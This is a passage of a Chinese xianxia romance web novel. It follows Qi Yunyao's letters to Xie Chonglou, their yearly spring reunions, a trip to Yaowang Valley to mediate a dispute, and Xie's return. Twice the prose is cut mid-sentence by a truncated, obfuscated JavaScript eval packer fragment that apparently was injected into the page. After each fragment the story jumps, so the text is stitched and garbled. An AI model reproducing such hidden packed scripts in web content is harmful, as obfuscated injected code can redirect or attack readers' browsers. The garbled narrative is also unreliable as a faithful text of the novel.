祁云耀不肯相信,又特意多买了三只偃甲鸟,四只鸟轮换着送信,依旧日复一日,执着地往剑庄寄去自己的心意。 他原先算不上讨厌春天,可春天总爱下雨。 一入春,地下深处的水汽像是挣脱了束缚,争先恐后地冒出来,地面盛不下便往天上飘,天上挤不下,就淅淅沥沥地落向人间。 他不喜雨天,只因雨天里,偃甲鸟无法飞行。而西门的春天,又总被这稀稀拉拉的雨笼罩着——天冷时下雨,天热时也下雨。雨水浸润了整个世界,连他要寄给谢重楼的信纸,也被潮气打湿,边缘生出奇形怪状的霉点。祁云耀曾试着把积压的信存进灶房,灶房终年燃着火,水汽虽散,可一叠信纸却被厨子们身上的烟火气染透,沾了各式各样的食物香气。 本想重新誊抄一遍,可鬼使神差地,他还是把这浸透了烟火香的信纸寄了出去。他偷偷期盼着,若谢重楼能想起西门的美食,或许会给他回一封怀念的信,可最终,偃甲鸟回来时鸟肚还是空空的。 日子一天天流转,四季更迭。 春天,他给谢重楼写西门的雨,写墙角偷偷冒出来的小蘑菇,还寄去一支开得正艳的桃枝。 夏天,他写西门的太阳,写院外池塘里亭亭玉立的荷花,寄去一张自家大厨的冰碗秘方,盼着能解他一夏燥热。 秋天,他写西门清爽的风,写庄园里挂满枝头的果实,寄去一柄自己亲手刻的、巴掌大的木制断不义。 冬日的西门,谢重楼是见过的。所以他写今日路面结冰,自己在演武场滑了一跤,疼得他一天没下床;写马厩里的马儿们都认白白做了老大,白白仗势欺马,被饲马老伯教训了一顿。 他曾想寄两个小雪人过去,却又怕雪人在途中化掉,最终什么也没寄,只把两个小雪人摆在自己的窗沿上——一个代表谢重楼,一个代表他自己,日夜相对。 冬天一过,春风又至。 他看着春风吹散了窗沿上的两个小雪人,心里刚泛起几分感伤,却没料到,这阵春风,竟也把他心尖上的那个人,吹回了西门。 27. 四年 其实也很好理解——春天送走的人,总会在春天再回来。 祁云耀忽然觉得,自己好像又重新喜欢上春天了。 谢重楼真的按照约定回到了西门。 只是这一次,他孤身一人,头上带着纱笠,身边没了那匹灰马,也没了絮叨的谢长泽。 祁云耀拉着他去看白白,两人肩并肩走着,谁都没有先开口。 白白像是一眼就认出了他,打了个响鼻,用大脑袋轻轻蹭着谢重楼。 谢重楼微微躲开,脸上难得露出一点浅淡的笑意。 祁云耀在一旁看着,心里莫名吃味,语气迟疑地开口: “我……” 谢重楼转头看他。 祁云耀纠结了半天,还是问了出来: “我给你写的信,你都收到了吗?” 谢重楼轻轻把白白的脑袋推远一寸,脸上的笑意慢慢收了回去,又变回了最初那个沉默寡言的样子。 他像是认真想了想,才低声说: “不确定,但我收到了很多。” “那你看了吗?”祁云耀追着问。 谢重楼点点头:“看了。” “是全部看了,还是只看了一点?” “全部看了。” “那你要记得给我回信啊!” 祁云耀蛮横地抱住他的手臂——这是他们分别一年来的第一次触碰。 他眼巴巴望着谢重楼,眨眼的速度都快了几分,满心都是期待。 可谢重楼又像偃甲机关卡壳了一样,低着头,一声不吭。 “你是不想回吗?” 不说话。 “你是忘记回了吗?” 谢重楼依旧沉默。 两人就这么僵着。 最后还是祁云耀先松了口气,先退了一步: “那你记得,以后要是想回我了,就给我回信。我还会一直给你写的。” 这一回,谢重楼低低地“嗯”了一声。 声音轻得几乎听不见,轻到祁云耀都怀疑,自己是不是听错了。 两人依旧住一间屋子。只是这一回,祁云耀长高了不少,再也不用盖那床从小用到大的短被子,此刻,两人正同盖一床被褥,挨得极近。 除了第一天还有些疏离,往后六天,他们便彻底变回了从前的模样——一起吃饭,一起睡觉,一起在晨光里练剑,练完便拉着手四处游玩。 这几日里,祁余天依旧来找谢重楼比试,每次都切磋得难分难解;祁灵昭总爱偷偷瞟谢重楼,看几眼就捂着嘴偷笑;祁云耀也重拾了往日的性子,时不时耍耍小脾气,闹得鸡飞狗跳,却也让这短暂的相处,满是欢声笑语。 欢乐的日子过得飞快,转眼就到了第七夜。 黑暗里,谢重楼忽然开口,声音轻轻的:“我明天就回去了。” 祁云耀猛地睁开眼,语气里满是诧异:“为什么回去这么早?” 谢重楼没有回答。 祁云耀又追问,声音里多了几分委屈:“你是不想和我在一起吗?” 谢重楼沉默了片刻,才缓缓开口:“师傅还在闭关,师兄处理剑庄事务很忙,我要回去帮他。” 祁云耀瘪了瘪嘴,语气带着执拗:“我问了你两个问题,你为什么只回答第一个?” 谢重楼又陷入了沉思。 透过窗棂洒进来的月色,祁云耀能清晰看见,他的眼睛转了又转,像是在琢磨着什么,生怕说错什么。 他生怕谢重楼把自己想晕,正要开口打断,却听见谢重楼低声道:“师兄不允许……” “什么?” 祁云耀没听清,又问了一遍。 谢重楼便又重复了一遍,语气认真:“师兄不允许,说不好。” 闻言,祁云耀瞬间没了声音,只是呆呆地盯着天花板,眼睛睁了一夜,脑海里反复回响着那句话,翻来覆去,再无睡意。 翌日清晨,谢重楼便踏上了回青云剑庄的旅程。满打满算,他在西门,只待了七天。 祁云耀一路把他送到西门城郊,临分别时,还是忍不住追问,语气里藏着期盼与忐忑:“你明年还会来吗?” 谢重楼掀开纱笠一角,目光落在他身上,语气十分肯定:“会来的。” “也是春天吗?” 谢重楼轻轻点头:“对。” “那我喜欢春天。”祁云耀勉强扯出一个笑,用力挥了挥手,送他离去。 谢重楼转身走出十几米,蓦然停下脚步,转头望了他一眼,嘴唇动了动,像是说了什么,又像是什么都没说。待走出西门设立的阵法后,他踏剑而行,身影很快便消失在天际。 祁云耀回去的路上,一直心神不宁。 他没听清,谢重楼最后回头时,到底说了什么。 是“我也喜欢”,还是“我知道”?他分辨不清,甚至不确定,谢重楼是不是只是单纯回头看了他一眼。 可奇怪的是,尽管这样,什么都没听清,心情,却莫名好了起来。不论谢重楼说的是哪一句,哪怕什么都没说,他的心底,就满是欢喜。 第二年,祁云耀来得格外早。 几乎是冰雪刚有消融的迹象,他就日日守在城门口,一等便是一整天,眼底满是藏不住的期盼。 城门口的护卫们看惯了他这副模样,忍不住打趣他,说干脆把护卫服脱给他,让他也当回“守门人”,换来祁云耀一个毫不客气的白眼。 终于,在他守了第十四天的时候,那个熟悉的、戴着纱笠、衣袂飘飘的身影,缓缓出现在了路的尽头。 谢重楼风尘仆仆地赶到,刚踏入城门,就立刻被西门热闹的市井气息吸引。目光无意间扫过街角,一家新开的甜水铺赫然入目,他脚步不受控制地转了方向,手腕却冷不丁被人攥住。 谢重楼心头一惊,下意识便想抬手拔剑,指尖刚触到剑柄,抬眼就撞进一双满是怨怼的眼睛里。 祁云耀:盯—— 谢重楼:“……” 祁云耀没好气地松了手,谢重楼连忙将手抽回去,有些心虚地别过脸,不敢去看他的眼睛。 “你没看见我吗?” 祁云耀语气委屈。 谢重楼抿了抿唇,心里十分纠结。 眼神偷偷瞟了祁云耀一眼,就对上那张怒气冲冲的脸,像被烫到似的,哗啦一下移开视线。他张了张嘴,想说什么辩解,最终却还是闭上,只轻轻“嗯”了一声。 “我就在城楼上,你没看见吗?”祁云耀往前凑了一步,气势汹汹,咄咄逼人,半点不肯退让。 谢重楼浑身一僵,似乎又变回了最初刚到西门时的模样——不习惯和人靠得这么近,下意识便轻轻往后退了一小步。可脚步刚落,祁云耀就又贴了上来,两人之间的距离,刷的拉进。 他的眼神飘忽不定,一会儿移向远处的街角,一会儿又不受控制地滑回来,撞进祁云耀那双眼睛里,像是被扎了一下,连忙又移开,可没过片刻,又忍不住悄悄瞟回来。这般往复了几息,谢重楼终究败下阵来,语气里满是愧疚:“对不起,我没看见你。下次,我一定会先看见你的。” 祁云耀闻言,却只是冷哼一声,语气傲娇:“那下次你要是还没看见我,怎么办?” 谢重楼又沉默了,垂着眸思索了几秒,抬头看向他,认真地问:“你想我怎么办?” “你多陪我玩几天!”他想也不想,脱口而出。 “呜……”谢重楼迟疑了,眼神又开始飘忽不定,面露难色。 祁云耀一看他这模样,心里就明白了大半,嘴一瘪,故作赌气地说:“好吧好吧!我知道你要去帮你师兄!我就是要排在谢长泽后面是吧!哼!” “不是的!” 这一回,谢重楼却答得极快,语气里带着几分急切的否认,可除了这三个字,他又不知道该说些什么。 祁云耀心里却格外受用,他故意板起脸,故作不快地拽了拽他的衣袖:“那你快陪我去买衣服!要是我穿得显眼些,下次你一进城,就能一眼看见我了!” 说罢,他拉着谢重楼就往衣庄的方向走,可拽了两下,却没拽动人。 回头一看,只见谢重楼的目光死死盯着那家甜水铺,眼底满是直白的渴望,看看甜水铺,又看看他,心思简直昭然若揭。 “真是受不了你!” 祁云耀故作无奈,脚步一转,反而拽着谢重楼往甜水铺走去。 两人找了个小角落坐下,吃完甜水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路过街角那家熟悉的甜水铺时,祁云耀下意识偏头看了看身边人,几乎是下一刻,便拽着他的手腕走了进去,点了今年的新品甜水。 祁云耀托着腮坐在他对面,目光落在谢重楼脸上,看着他小口品尝、眉眼舒展的模样,自己的心里也跟着欢喜起来,嘴角不自觉地往上扬。 “你这么喜欢,不如去向老板要个方子,带回剑庄去,以后你想吃的时候,就能随时做来吃了。”祁云耀笑着说道。 谢重楼咀嚼的动作猛地一顿,手里的汤匙轻轻磕在碗沿。他抬眼看向祁云耀,眼底满是真诚,语气认真又轻柔:“但我想和你一起吃。” 听到这句话,祁云耀的脸颊瞬间染上一层淡红,心跳莫名快了几分。 飞快地扫了谢重楼一眼,像是在确认这句话的真假,撞进那双澄澈又真挚的视线时,又有些不好意思地移开目光,耳尖通红。 连忙岔开话题,语气带着几分不自然的试探:“我给你写的信,你都看了吗?” “看了。”谢重楼点点头腮帮子鼓得一股一股的。 祁云耀的心跳又快了些,追问着:“那你看见我给你写的小诗了吗?” “嗯嗯。” “你真的看得懂吗?” “看不懂。”谢重楼坦然坦白,眼底没有丝毫掩饰,“但我会去问别人是什么意思。” “你不许问!” 祁云耀瞬间急了,猛地站起身,手掌重重拍在桌面上,发出“砰”的一声震响,引得周围食客纷纷侧目。 他顿时有些窘迫,讪讪地坐回座位,脸颊红得快要滴血,压低声音急声道:“那是专门写给你看的!你不能给别人看,也不许问别人!” “可我看不懂。”谢重楼微微歪了歪头,想起当时看信的场景,认真解释道,“没有别人告诉我的话,我不知道你在说什么。你一会写风,写比翼鸟,还有什么牛郎织女,我都看不懂,只能去问别人。不然我会以为你想要这些东西。” “我……” 祁云耀瞪圆了眼睛,又气又羞,胸口微微起伏,猛地吐出几口气,才哑着嗓子,语气软了下来,“你看不懂的话,就问我啊!我慢慢解释给你听不就好啦?” “好。”谢重楼咬着勺子,眼底掠过笑意。 28. 收尾 谢重楼第四年来西门的时候,祁云耀正好突破三阶修为。他们刚准备出门庆祝,谢重楼手腕间的银色手链忽然泛起光芒。 两人脚步一顿。 祁云耀早在谢重楼来时就注意到了这手链,问起时,谢重楼说是天机阁的新发明,半仙可借它传音。 他眼睛一亮,原本也想买,却被谢重楼制止,因为这手链需半仙灵力驱动。 如今天地灵气稀薄,唯有半仙能吸收炼化,凡人再无这般机缘,自然用不了传音术。 天机阁不知从哪寻到了位仙缘同传音有关的半仙,钻研出这手链又卖给半仙,听说总部都舍得翻新了一遍,可想而知究竟借此敛了多少财。 谢重楼轻触手链注入灵力,谢长泽的声音清晰传了进来。 祁云耀最近不大喜欢谢长泽,这人表面一套背后一套——面上劝他和谢重楼好好相处,背地里却叮嘱谢重楼不许常来找他! 他先前还当谢长泽是清风霁月的好人,没想到这般虚伪。 “哼!” 祁云耀不屑地冷嗤,眼底满是鄙夷。 他听不见实质的传音内容,只听见谢重楼的应答。片刻后,谢重楼放下手腕,手链光芒渐暗,脸上却露出几分难掩的为难。 祁云耀挑眉,直白问道:“他跟你说什么了?” 谢重楼眼神闪烁,显然在思索该如何开口。 见他吞吞吐吐,祁云耀挑眉更甚,抱臂走到他身前站定——如今两人已差不多高,祁云耀因编了头发,发顶蓬松,看上去比谢重楼还略高一点。 他贴得极近,两人几乎黏在一起,空气中的氛围渐渐紧绷起来。 谢重楼被他看得心慌,额角渗出薄汗,连忙低下头避开他的目光,低声辩解:“有一件事……” “所以你要提前走,是吗?”祁云耀没等他说完,便直截了当地点破。 “嗯。”谢重楼下意识点头,起初没察觉他语气不对,直到猛地抬头对上他怨怼的眼睛,又慌忙低下头装鹌鹑。 “你不是说,你师兄不比我重要吗”祁云耀声音陡然拔高,质问道,“你现在又是做什么?哦,他一个传音你就要走!我们本来就一年见一次,你还要因为他提前走!那你走了还回来吗?就算你回来,那浪费的这几天算什么!哼!说白了就是骗我的吧!说什么‘不是的’,实际上也是嘴上一套心里一套。说白了就是不喜欢我吧!你不喜欢我的话那来找我干什么!” 说完,祁云耀满心愤怒,猛地转过身就要往回走。 谢重楼被他问得发懵,一时没反应过来,等回过神想拉他时,这人又自己停下了,猛地转头,脸上怨气几乎凝为实质,控诉道: “你为什么不拉我!” “啊?” 谢重楼瞪大了眼睛,脸上难得露出十分复杂的表情,显然不知该从哪里回答起。刚才的问题太多,此刻又抛出一个,他一时之间根本不知道回答哪一个。 “啊什么啊?”祁云耀自己又转了回来,语气愤怒,“你为什么不拉我?” “我,我。”谢重楼闻言,连忙伸手抓住他的手,语气无措,“我没反应过来。你刚才问得太多了,我还没想好怎么回答你。” “哼!” 祁云耀又是一声冷哼,嘴角却悄悄弯了点弧度,手上甩开,任由他紧紧拉着,“然后呢?你想怎么回答?要是回答得不好,我就真的走了!” “那你要等我想一想。”谢重楼急了,连忙伸出另一只手,两只手都紧紧抓着他的手,眼神焦急,生怕他一个反悔就真的转身离开。 沉默了几息,他像是想到了什么好法子,眼神亮了亮,试探着松开一只手,语气带着商量:“你先别走。”说着,他快步走到角落,再次抬手打开传讯手链,低声同那边的人说着什么,语气诚恳,像是在做什么保证,翻来覆去重复着几句话,直到对面松了口,他才松了口气,连忙转过身走向祁云耀。 他重新拉住祁云耀的手,语气轻快了些:“我和师兄商量好了,你可以和我一起去。但是你要装作剑庄的人,这样可以吗?” 祁云耀眉毛挑了挑,眼底闪过一丝意外,显然没料到他会想出这样的办法,语气里带着几分小得意:“你怎么想到带我一起去的?万一我不想跟你去呢?” “因为我也不想和你分开。” 谢重楼看着他,语气珍而重之,旋即又带上迟疑,小声问他,“你真的不想和我去吗?那我——” “我答应你!” 祁云耀听到第一句话时盯着他看了两秒,然后耳尖悄悄红了,等他听见后面的话立刻垮了脸,连忙出声打断,不过心情明显好了不少,伸手拽着人就往门外走, “那我们快走吧!你要去干什么,都还没跟我说呢!” 谢重楼愣了一下,又反复观察了几遍他的表情,确认他是真的不生气了,才彻底放下心来,一边跟着他走,一边慢慢说起此次出行的目的地。 此行目的地,是离西门不远的药王谷。 此事并无凶险,只是需青云剑庄派人到场坐镇,谢长泽便将差事交给了谢重楼。 缘由说来简单。 自上回角蛇祸事爆发,天盟便联合青云剑庄启动了全大陆排查。四年间,共寻出十四处角蛇幻境。就在前不久,药王谷内又探出一处疑似幻境之地。不等天盟人马赶到,药王谷谷主灵枢竟已自行出手解决。 这般举动,当即惹得天盟上下不满。 两百年前盟约分明写着,有关妖物灵族之事,地宗不得再插手。即便灵枢是那时候就在场的知情人,此举也是无异于公然破约。 但灵枢则表示: “等你们这群吃白饭的蠢货赶来,我药王谷早成蛇潮炼狱了!” 双方就此争执不休,闹得不可开交。天盟里几位倚老卖老的长老,偏偏又辩不过灵枢。 放眼整个天盟,唯有风幕卿能与他吵得有来有回,不过巧就巧在玉虚仙宗并没有参加此次排查,是以天盟派人去玉虚仙宗求助的时候,风幕卿并没有答应前来。 无奈之下,天盟只得找上青云剑庄,希望剑庄出面调和,以中间立场介入,由剑庄、天盟、地宗三方一同收尾。 只是天盟与地宗都不知,如今剑庄内务,实则由谢长泽代理。他分身乏术,只得传音托付谢重楼,代为处理此事。 所以谢重楼要做的,其实再简单不过——往那儿一站,充当公道。 天盟地宗爱怎么吵便怎么吵,只要他在那,这件事就是公平的。 也正因如此,谢长泽才松口,允许祁云耀扮作剑庄弟子一同前往。到时候只说是谢重楼的随行之人便好。 祁云耀换上剑庄的衣物,一时有些不适应这身灰白素色道袍,举止间有些手足无措。 谢重楼蹲在一旁,一眨不眨地盯着他。 “很奇怪吗?”祁云耀问。 “嗯……”谢重楼顿了顿,抬手上下比划了一番,最后认真道,“你要不把脸遮一遮?” “有这么奇怪?” “是太显眼了。” 说着,谢重楼便将自己的纱笠戴在了他头上,往后退了几步打量片刻,满意点头:“这样好多了。” 两人这才继续赶路。 他们清晨出发,御剑飞行两个多时辰抵达药王谷边界,又翻山越岭,连过四座大山,才终于到了谷口。 此时已是烈阳高照,虽是初春不算酷热,两人也仍是出了一身薄汗。 谷口早有两名身着青白衣衫的童子等候。祁云耀第一眼看见他们,便莫名一阵恶寒。 两个小童生得雪白可爱,模样几乎一模一样,只一个梳单髻,一个梳双髻。笑起来时,嘴角扬起的弧度、眼睛眯起的角度都分毫不差。 两人脚步一顿,便听两道完全相同的声音同时响起: “主人等候多时啦,快快请进吧!” 连音调都一模一样。 祁云耀猛地攥紧了谢重楼的手。隔着纱笠,谢重楼看不清他的神情,却也猜到他几分不安,当即反手轻轻回握。 他们跟着童子入谷。 谷中建筑多依山而建,中间架起一座座廊桥供人通行。往来之人皆着青白衣衫,行色匆匆,见到那两名童子时,脸色不约而同地一变,似是畏惧,又似是厌恶。童子却浑然不觉,依旧领着他们前行。 走了数百米,周遭树荫豁然开朗,眼前赫然出现东西两座小峰。 峰顶各有屋舍,西峰那一片规模更大,屋舍连绵,一直延伸到后山山脉;东峰则只有小小一间,堪堪一个院落大小。 童子停下脚步,一同回头看向二人,同声问道: “两位是想拜见主人,还是先歇息?” 祁云耀没有开口,谢重楼平静道:“先带我们去见灵枢谷主。” “先找灵枢大人!” 两名童子像是骤然接到指令,齐齐转身,领着他们往东峰而去。 快到屋舍时,两个小童却脚步齐齐一顿,脖子一缩,再也不肯往前,定定地站在原地。 祁云耀和谢重楼正觉好奇,就见两个小童像机械般,学着他们的样子紧紧攥住彼此的手,又一同回头,脸上瞬间堆起哭脸: “好害怕!就在前面!好害怕!客人自己去吧!” 话音刚落,便手拉着手,脚步相同地往山下狂奔而去。 祁云耀:? 谢重楼:? 两人对视一眼,一时也拿不准该不该继续往前。就在这时,前方屋舍里突然传来“砰——”的一声闷响,分明是重物砸落的声音。 他们抬眼望去,下一秒,一道尖锐的男声便猛地爆发出来:“那你还回来干什么!滚啊!不是喜欢跑吗!那就一辈子都别回来!滚出去!滚!” 隐约还有另一道声音传来,弱得几乎听不清,祁云耀只能辨出似乎有人在说话,身旁的谢重楼脸色却骤然一变,神色凝重起来。 “我让你滚你就滚!我让你去死你为什么还活着!滚啊!滚出去!我不需要你!滚!” 最后一声嘶吼几乎破了音,祁云耀心里犯怵,他们杵在这里偷听别人吵架,总归是不太妥当。他刚伸手想去拉谢重楼,想说“我们还是先回去吧”,面前屋舍的门便“砰”地一声被狠狠撞开。 一个熟悉的黑袍少年被猛地推了出来,他显然不愿走,一边挣扎一边低声辩解着什么,可推他的青衣男人却半点也听不进去,执拗地把他往门外赶。 怪异的是,那黑袍少年竟纹丝不动,反倒推他的青衣男人脚下一个不稳,重重摔在地上。黑袍少年连忙弯腰想去扶他,却被青衣男人猛地甩了一巴掌。 “啪——”的清脆声,在寂静的林间格外清晰。 青衣男人抬头要再纠缠,抬头瞬间却冷不丁看见了立在不远处的二人。 六目相对间,那个黑袍少年也转过了头。 只见花秽芳脸上红肿一个巴掌印。 但这不是最让人震惊的,最让人震惊的是那青衣男人的长相,赫然就是原先那两个小童长大后的模样! “这——”祁云耀刚想开口说些什么,话才吐出一个字,就见那青衣人猛地站起身,快步退进屋舍,紧接着“砰”的一声,狠狠关上了房门,徒留屋外三人大眼瞪小眼。 花秽芳看看身后紧闭的房门,又转头望向对面呆若木鸡的祁云耀和谢重楼,犹豫片刻,试探着伸手推了推门,门纹丝不动。他又将耳朵贴在门板上,似是听见了里面的动静,随即抬手轻轻拍着门板,故意捏着嗓子柔声道:“灵枢——灵枢——你在干什么呀?你听我解释嘛!灵枢!” “滚!” 房门内瞬间传来一声暴怒的呵斥。 他撇了撇嘴,抬起的手顿了顿,终究没再落下,反倒弯腰准备趴在地上,想透过门缝看看里面的人究竟在做什么。可他的膝盖刚触碰到地面,门板就被里面的东西狠狠砸了一下,“咚”的一声闷响,吓得他连忙后退几步,终于放弃了偷看的念头。 花秽芳踌躇片刻,对着房门大喊一声“我还会再来找你的”,便垂着脑袋,一步一挪、磨磨蹭蹭地往山下走去。 身后的祁云耀早已被这一连串的变故惊得僵在原地。他对花秽芳的印象,还停留在先前那种诡谲的模样,如今亲眼见他被人这般对待,一时有种五雷轰顶的感觉。 花秽芳路过二人身边时,特意停下了脚步,脸上又恢复了往日那种似笑非笑的诡异神情。他目光落在祁云耀的纱笠上,打量了半天,最终轻飘飘又不明所以丢下一句: “你的脑袋好像更亮了。” 闻言,祁云耀猛地一哆嗦,浑身一僵,显然没料到自己戴着纱笠,还会被他认出来。身旁的谢重楼则不动声色地松开了与他交握的手,指尖轻轻搭在佩剑剑柄上,神色警惕,暗中做好了应对的准备。 可花秽芳压根没打算多搭理他们二人,瞥了一眼便收回目光,拖着慢悠悠的步子,沿着山路缓缓下了山。 两人站在原地,满心莫名,一时竟不知何去何从。祁云耀再次伸手,想抓住谢重楼的手,开口说“我们要不先下山”,面前那扇才关上没多久的房门,却突然“吱呀”一声被打开了。 先前还癫狂暴怒的灵枢,已然换了一身衣裳,方才披散的头发也打理得整整齐齐。他面容精致,乍一看竟带着几分女相,可脸上却半分温柔也无,反倒萦绕着一股挥之不去的戾气。 他缓步朝二人走来,并未自报家门,语气里满是高傲:“你们是剑庄来的?” 谢重楼微微点头,身旁的祁云耀也跟着轻轻点了点头,没敢多言。 “怎么不是谢青过来?”灵枢淡淡丢下一句,不再理会二人,径直转身往山下走去。 见状,祁云耀和谢重楼连忙快步跟上。 “师傅有事缠身,所以让我过来处理。”谢重楼开口解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你!”那长老气得浑身发抖,眼珠一转,忽然瞥见了不远处的谢重楼和祁云耀,顿时目光一亮,话头当即转向了正百无聊赖坐着、已然有些发呆的谢重楼,语气迫切道, “谢小友以为呢?药王谷乃地宗一员,却插手妖物之事,这是公然违抗盟约!此乃叛乱之兆,若不严惩,日后地宗各派皆可效仿!” 谢重楼缓缓抬眼,目光转向那位长老,眼神呆滞。 祁云耀心头一紧,连忙在桌下悄悄抓住他的手,想示意他谨言慎行,别乱说话。可没等他示意到位,就听谢重楼已经清晰地应了一声: “嗯”。 祁云耀:!!! 他急得想开口解释几句,却听主位上的灵枢嗤笑一声,抬眼看向谢重楼,反问他:“那谢小友是否认为,是对面这群人倚老卖老,硬要给我扣上个叛乱的帽子呢?” 不等祁云耀再次伸手拉他,谢重楼又面无表情地应了一声 “嗯”。 议事厅内瞬间陷入一片死寂。那位长老愣了愣,又急忙开口辩解,追问谢重楼的看法,谢重楼依旧是一声“嗯”;灵枢讥笑反驳那位长老,再转头问谢重楼,他还是那句淡淡的“嗯”。 总之,不管谁说话、问什么,谢重楼都只以一个“嗯”字回应,将谢长泽先前叮嘱的——当一个“天平”,演绎得淋漓尽致。 两方又争执了数息,最终以那位长老一口气没提上来,当场气晕过去收场。 灵枢扬声唤来门外弟子,将人拖下去医治。天盟那边痛失最强嘴仗战力,顿时噤若寒蝉,半个字都不敢再多说。 灵枢嗤笑一声:“亏得是在药王谷,不然就你们这老蚌装珠的做派,指不定哪天就出去组团装死讹人,真是越老越没体面。” 这话落下,天盟众人竟无一人敢再与他对峙,一个个忍气吞声。 “可以说正事了吗?” 谢重楼忽然开口,打破了场上死寂。 天盟长老们露出如蒙大赦的神情,灵枢则懒懒翻了个眼皮,轻嗤一声。 “师傅已知晓此事,她认为谷主是为保护药王谷才提前出手清缴幻境,事出有因,并未造成损失,此事可以暂缓。只需天盟再做一次收尾查验,确保幻境无遗漏即可。” 谢重楼将谢长泽教他说的话一字不漏的说了出来,隐瞒谢青闭关之事同时调和双方龃龉。 末了他顿了顿,继续道:“师傅派我来,是为宣布另一件事——她怀疑,那只大蛇并未真正死亡,而是……” “可当年谢青一剑斩蛇,是所有人亲眼所见。”灵枢直接打断,“莫非谢青也老糊涂了,记不清是自己亲手斩的蛇妖?” 天盟众人也面露动容,竟是难得与灵枢站在一边。 谢重楼被一噎,后半句话卡在喉间。祁云耀在旁也暗自疑惑,为何天盟与灵枢都一口咬定角蛇已死。 “师傅的意思是,怀疑还有另一只角蛇。”谢重楼最终还是把话说了出来。 话音刚落,灵枢便笑出了声,直言道:“这不是谢青说的吧?是你自己猜的?” 谢重楼被戳破,一时怔住。 天盟众人也没有替他辩解的意思,反倒有位稍和气的长老开口解释:“谢小友有所不知,当年血月之战,我们专门统计过,妖物灵族复苏的力量,与半仙们几乎是同步对应的。以如今半仙的力量,绝不可能再存在一只威力那般巨大的妖物,这违背天道法则。” 谢重楼闻言点了点头,不再多言。 天盟那边也听从谢青的安排,不再追责,只要求灵枢不许再擅自行动。 灵枢自然不肯答应,两方人又吵了起来。 这一回,谢重楼与祁云耀直接抽身离开了议事厅。 送他们出去的依旧是那两个小童,只是不知何时换了发型——一个扎三髻,一个扎四髻。祁云耀跟在身后,莫名又一阵不舒服。 两个小童浑然不觉,只领着他们往谷口走。 快到谷口时,他隐约看见三道身影站在那里,似乎在争执。 走近一看,祁云耀后背汗毛瞬间竖起。 那竟然又是三个一模一样的孩子。 算上眼前这两个,一共五个长相完全一样的小童。 唯一区别,只在头上发髻数量:从一到五,各不相同。 显然,带他们进来的,和送他们出去的,根本不是同一对。 将人送至谷口后,三髻小童和四髻小童便融入进那三个人。五个人围在一起,偷偷说着什么。 临走之际,祁云耀又回头望了一眼。 五个小童凑在一起,最开始领路的那两个正绘声绘色地说着什么,说到最后,竟齐齐哇哇大哭起来。 他们哭时嘴巴张得极大,露出里面一口熟悉的尖锐细密的牙。 看得他后背发麻,连忙将头转了回去。 29. 亲吻 又是冬末,祁云耀早早换上亮色衣裳,背上诉心便要去城门口等候,却在出门时被祁艳叫住,让他再等几日。 他满心疑惑,祁艳递来青云剑庄的贺帖——剑庄大弟子谢长泽,与凌云阁阁主之女尹无霜订婚,事发昨日。 她一并递来的,还有天机阁的密报:尹无霜幼时其父为她定下的十八名童养媳、童养夫闻讯上门讨说法,被青云剑庄小弟子谢重楼以一敌十八完胜,一战成名。凌云阁主不知存了什么心思,令尹无霜与他约战,结果大吃一惊,尹无霜的无双剑竟败给了名不见经传的谢重楼。 自谢青之后的天下第一之位便易主于谢重楼。 “他此刻该还在凌云阁赴订婚宴,不会这么快来西门找你。” 祁云耀看完,心里又酸又喜,抱着信无视祁艳那副“儿大不中留”的嫌弃神色,回了寝室。 又过十日,祁云耀因谢重楼违约迟迟不至而暗自生气,正估摸着他该启程了,却被小妹祁灵昭拉住。 祁灵昭递给他一封从肖严谨处买来的加密信函,祁云耀拆开一看,上面写着:谢重楼赴完师兄订婚后确已南下,却径直去了南海——传闻南海出现百年难遇的虎蛟,残害渔民,谢重楼奉命前去捉拿,一剑便斩断虎蛟,为百姓除了害。 信函末尾,还附了一张肖严谨亲笔勾勒的肖像图,题着《吓傻全江湖!天下第一谢重楼除魔安天下》,也不知他究竟藏在何处偷窥,竟将谢重楼的英勇身姿画得分毫不差。 看完信件,祁云耀心中的不满瞬间烟消云散,攥着小像美滋滋地要走,却被祁灵昭拦住:“拿走可以——给钱。” 两人在庭中闹得鸡飞狗跳,最终被祁艳勒令一同面壁思过三日。 祁云耀心急如焚,想偷跑却被蹲守在外的祁余天逮住,一番拉扯扭打后,祁艳索性将三人关在一起,言明谁举报想跑的人,谁便能先出去。 可怜的祁余天被弟妹二人联手陷害,独自被关了禁闭,祁云耀与祁灵昭则重获自由。 出狱后祁云耀愈发焦急,禁闭几日里他与外界失联,生怕谢重楼提前到西门却寻不到自己。他立刻回屋取了偃甲鸟传信,可刚送走鸟,梳洗妥当,那偃甲鸟便“姆嘎姆嘎”地飞了回来,肚中的信函还在。 他不明所以,又放它飞了一圈,最后它又落回窗檐。 一人一鸟大眼瞪小眼。 祁云耀急得恨不得拆了这笨鸟,提着它背上剑便要去西门天机阁驻地修理。可刚一推开门,便撞进了一双正站在小院里的眼眸—— 不同于往日的淡漠,这双眼眸里终是有了暖意,正笑眯眯地望着他。 祁云耀愣了愣,似是不敢相信。但谢重楼确确实实站在那里,脸上还挂着几分“甜美”的笑。 他眨了眨眼,谢重楼也跟着眨了眨眼,面上笑意更浓。背上的诉心剑似是察觉到断不义的气息,两把剑默契地同时嗡鸣震颤起来。 他终于接受了现实,猛地将手上的偃甲鸟一丢,抽开胸前系带,诉心剑“当啷”一声落地。祁云耀却全然不顾,冲上前一把抱住了心心念念的人。 他原本计划着,还像小时候那样钻进对方怀里,让谢重楼抱着自己。可真正抱住才恍然发觉,不知何时,自己竟已长得比谢重楼还高了。 不过没关系,他也可以抱谢重楼! 祁云耀手上一使劲,将谢重楼稳稳托起,两人瞬间调换了位置。他得偿所愿地将脑袋埋进了面前人的胸膛。 “你怎么现在才来找我啊!” 